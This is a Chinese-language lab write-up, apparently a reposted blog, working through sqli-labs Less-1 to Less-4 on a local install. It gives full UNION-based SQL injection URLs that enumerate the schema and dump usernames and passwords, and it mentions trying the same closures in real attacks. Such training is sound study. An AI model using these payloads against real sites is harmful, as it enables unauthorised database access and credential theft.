sqli-lab靶场学习(一)——Less1-4

前言

最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。

安装部署

网上很多关于安装部署的教程,很简单。本人是下载PHPStudy进行部署的。由于sqli-lab是用php5版本,现在很多一体化环境(我用wamp)的php都是7版本。我试过用github上有人修改sqli-lab适配php7版本,但是不清楚为什么报错的时候不会回显,这严重影响调试,所以还是换成PHPStudy,并且切换为php5版本进行部署就好了。

Less1

进入页面测试

输入http://localhost/sqli-labs/Less-1/进入第一关,地址和读者的部署情况有关。我是直接把sqli-lab解压放到apache的www目录下。

第一关会要求我们输入一个id作为传参,我们尝试id=1的情况:

之后尝试id=2、id=3……一直到id=13,发现为空:

证明id=13不存在。

确定闭合方式

我们可以看一下php的源码,打开Less-1的index.php

可以看到红色框起来的部分,我们传入的id直接拼接到sql查询语句中。这给我们看到一个sql注入的漏洞,就是通过单引号闭合变量。例如我们传参的时候带入一个单引号, 然后通过 -- 或者 # 忽略后续的语句,就形成了sql注入。

如果我们看不到源码,怎么知道它是单引号闭合呢?漏洞都得测试出来,我们可以尝试添加单引号、括号、双引号等等方式去测试闭合情况。比如这里如果传入id=1':

 因为多传了一个单引号,所以实际拼接的语句变成了:

SELECT * FROM users WHERE id='1'' LIMIT 0,1

这个语句多了个单引号,肯定报错了。

判断列数

接下来判断这个sql查询一共有多少列。输入:

http://localhost/sqli-labs/Less-1/?id=1' order by 1-- asd

这里通过单引号闭合,已经形成形成了注入。依次增加order by的数字,发现到order by 4的时候,出现报错:

 证明sql语句显示的只有三列。

联合注入

判断了列数后,我们看看能否通过联合查询回显数据,输入:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,2,3-- asd

可以看到第二、三列注入到“Your Login name”和“Your Password”的显示位置。我们输入id=13的原因在于之前判断了id=13是没有数据的,那回显的数据就会用union后面的数据了,如果输入id=1,那回显就是正常,而非我们想要注入的结果。这就是联合注入的关键!

查询具体的数据库名、表名、列名

联合注入成功后,其实离胜利已经很近了。接下来要把查询回显的列替换成查询数据库名、表名、列名。先查询数据库名:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,database(),3-- asd

通过回显可以看到目前查询的表在名为security的库中。

接下来查询security库中有什么表,通过information_schema的tables表可以找出来:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- asd

使用group_concat可以把全部表名显示出来。不过有时候回显的位置可能有长度限制或者显示限制,这种方式有时候不准确,所以更实在的方式是利用limit一个一个查出来:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1 -- asd

当我们从limit 0,1一直到limit 3,1时,发现users这个表很可能就是包含用户名密码的表,我们要把它的数据查出来。查出来的前提是知道列名,通过information_schema的columns可查出:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- asd

通过回显看到username和password似乎就是我们想要找的两列,我们把它们查出来:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(username),group_concat(password) from security.users -- asd

至此账号密码已经查出,sql注入成功!

Less2

第二关先看php源码:

‘可以看到源码是直接对获得的id进行拼接。所以第二关连单引号闭合都不需要了。根据第一关的经验,直接输入:

http://localhost/sqli-labs/Less-2/?id=13 union select 1,group_concat(username),group_concat(password) from security.users -- asd

 

Less3

第三关同样先看php源码:

发现这次的拼接是带了但括号,所以进行变量闭合时带上括号:

http://localhost/sqli-labs/Less-3/?id=13') union select 1,group_concat(username),group_concat(password) from security.users -- asd

Less4

同样的先看源码:

这次源码对id的前后加了双引号拼接,然后外面还有一层括号。这种情况我们就加个双引号和括号去闭合:


http://localhost/sqli-labs/Less-4/?id=13") union select 1,group_concat(username),group_concat(password) from security.users -- asd

小结

第一关是很简单的注入,不过其涉及到的内容很多,刚接触sql注入的朋友可能会有点懵。确实我刚开始也有点懵,因为一般做开发、做运维的朋友不会这样去写sql语句。当概念都了解了之后,就会觉得其实也就这么回事,Less-1没什么高大上的。另外注意这个靶场环境一定要搞好,否则很可能出现输入同样的查询,得出来不一样的结果,严重影响学习和理解效率。

这几关我们都是看了源码再操作。实际进行注入攻击当然不可能看到源码去注入,所以要尝试,最好能看到报错信息来确定。比如Less3我们用单引号闭合测试:

http://localhost/sqli-labs/Less-3/?id=1'

看到这个报错信息,这里面有单引号,也有括号,那就可以确认这题的闭合是和单引号、括号相关的。这类闭合方式来来去去就那几种情况,实际攻击的时候可以都试一下,再利用返回的报错信息确认是哪种情况

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/418559.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTTP“请求”和“响应”的报头及正文详解

目录 一、请求 "报头" (header) 二、请求 "正文" (body) 2.1 application/x-www-form-urlencoded 2.2 multipart/form-data 2.3 application/json 三、HTTP 响应状态码 四、响应 "报头" (header) 五、响应 "正文" (body) 5.1…

微信小程序实践案例

参考视频: https://www.bilibili.com/video/BV1834y1676P/?p36&spm_id_frompageDriver&vd_sourceb604c19516c17da30b6b1abb6c4e7ec0 前期准备 1、新建三个页面 "pages": ["pages/home/home","pages/message/message",&quo…

智慧交通基于yolov8的井盖异常检测系统python源码+onnx模型+评估指标曲线+精美GUI界面

【算法介绍】 智慧交通中的井盖异常检测系统,基于先进的YOLOv8算法,为城市基础设施的安全管理提供了强有力的技术支持。该系统通过集成YOLOv8的深度学习技术,实现了对道路井盖状态的实时、精准监测。 YOLOv8以其高效、准确的特点&#xff0…

为什么现在不建议去电力设计院?终于有人把电力设计院说清楚了!

作者:电气哥 最近电气哥收到了许多面临就业的同学特别是硕士同学有关于电力设计院的咨询,那么现在电力设计院到底还值不值得去?电气哥带你来分析一下电力设计院的前世今生。 01 电力设计院的前世今生 曾经,在我国的大基建时代&…

“Docker网络模式详解与应用“

目录 前言 Docker内置网络 bridge 基本概念 案例 工作原理 使用场景 host 基本概念 案例 工作原理 使用场景 none 基本概念 案例 !!!大佬救命 container 基本概念 案例 自定义网络 自定义bridge 基本概念 案例 Docker…

如何操作可以有效的防止其他人修改Excel文件?

工作中,我们经常遇到同一份表格可能需要好多人共同去完成,但是当你整理好数据发给别的同事的时候,等表格再回来的时候,你可能发现你之前设置的资料格式内容等都被修改了,遇到这种情况时,如何操作可以有效的…

传统CV算法——基于Opencv的图像绘制

直线绘制 参数解析: (图像矩阵,直线起始坐标, 直线终止坐标、颜色、线条厚度) cv2.line()是OpenCV中用于绘制直线的函数。 参数说明:img:要绘制直线的图像矩阵。(100,30):直线的起…

第二十三篇——地形篇:将领的四条职业道德准则

目录 一、背景介绍二、思路&方案三、过程1.思维导图2.文章中经典的句子理解3.学习之后对于投资市场的理解4.通过这篇文章结合我知道的东西我能想到什么? 四、总结五、升华 一、背景介绍 这一篇讲将领应该如何做,以及正反方面也讲到了职场人应该如何…

STM32CUBEIDE FreeRTOS操作教程(四):timer软件定时器

STM32CUBEIDE FreeRTOS操作教程(四):timer软件定时器 STM32CUBE开发环境集成了STM32 HAL库进行FreeRTOS配置和开发的组件,不需要用户自己进行FreeRTOS的移植。这里介绍最简化的用户操作类应用教程。以STM32F401RCT6开发板为例&am…

oauth2 方式获取outlook邮箱收件箱(python)

1.在Azure 门户注册应用程序 微软文档地址 重定向的地址配置(微软地址): https://login.microsoftonline.com/common/oauth2/nativeclient 注册应用地址 2.程序代码 #安装包以及需要的驱动 pip3 install playwrightplaywright install import base64 import jso…

MAT:一款针对MSSQL服务器的安全检测与审计工具

关于MAT MAT是一款针对MSSQL服务器的安全检测与审计工具,该工具使用C#开发,可以帮助广大研究人员快速识别和发现MSSQL 服务器中的安全问题,并实现安全检测与审计目的。 功能介绍 1、执行自动检查并识别安全问题; 2、允许通过 Win…

暑期档总结:哪部国漫年番表现更优?

“暑期档”可能是所有档期中绵延时间最长的,作为该时间段主力的学生人群,在学业压力较小的假期中,需要更多娱乐方式来填充生活。除了电影之外,动画番剧越来越成为这一群体的不二选择,各个动画制作公司也会选择把精彩剧…

Datawhle X 李宏毅苹果书AI夏令营深度学习笔记之——卷积神经网络的前世今生

一、卷积神经网络简介 卷积神经网络(Convolutional Neural Network, CNN)是一种深度学习模型,尤其擅长处理图像和视频等高维度的数据。CNN 通过模仿人类视觉系统的工作方式,自动学习数据中的空间层次结构,使得它在计算…

GDB 查看汇编

查看汇编 x disassemble

24秋开学考

文件上传 上传一个.php的格式,上面说是非法的文件格式。 2.传了一个phpinfo.gif,说什么在目录里。 3.有两个页面一个labs1一个labs2 ,当在第一个页面上传1.jpg,在第二个页面上传1.jpg时,给了我们一个目录,在测试其他时…

Linux下的Makefile与进度条程序

目录 Linux下的Makefile与进度条程序 Makefile与make Makefile与make介绍 创建第一个Makefile并使用make Makefile文件基本格式介绍 Makefile依赖方法执行过程 Makefile通用写法 进度条程序 实现效果 前置知识 回车(\r)与换行(\n) 输出缓冲区 实现进度条 Linux下的…

15、Django Admin添加自定义字段功能

修改模型类HeroAdmin admin.register(Hero) class HeroAdmin(admin.ModelAdmin):change_list_template "entities/heroes_changelist.html"... # 此处原代码不动,只增加此前后代码def get_urls(self):urls super().get_urls()my_urls [path(immort…

溜狗牵绳行为检测-目标检测数据集(包括VOC格式、YOLO格式)

溜狗牵绳行为检测-目标检测数据集(包括VOC格式、YOLO格式) 数据集: 链接:https://pan.baidu.com/s/1CwLEAKcdlh9hbcBNh_Awdw?pwdiu6b 提取码:iu6b数据集信息介绍: 共有 1980 张图像和一一对应的标注文件…

7.统一网关-Gateway

文章目录 1.统一网关介绍2.网关开发3.predicate4.Route Predicate Factories(路由断言工厂)4.1Path 路由断言工厂4.2.Method 路由断言工厂4.3 Header 路由断言工厂4.4 Query 路由断言工厂4.5 Host 路由断言工厂4.6 After 路由断言工厂4.7 Before 路由断言工厂4.8 Between 路由断…

超声波测距模块HC-SR04(基于STM32F103C8T6HAL库)

超声波测距模块参考资料 1.电路连接及引脚配置 触发信号PA3只需要输出10us的高电平,所以直接设置成 普通的GPIO端口即可;回响信号使用外部中断,上升沿信号产生外部中断,打开定时器,下降沿再产生一次中断,读…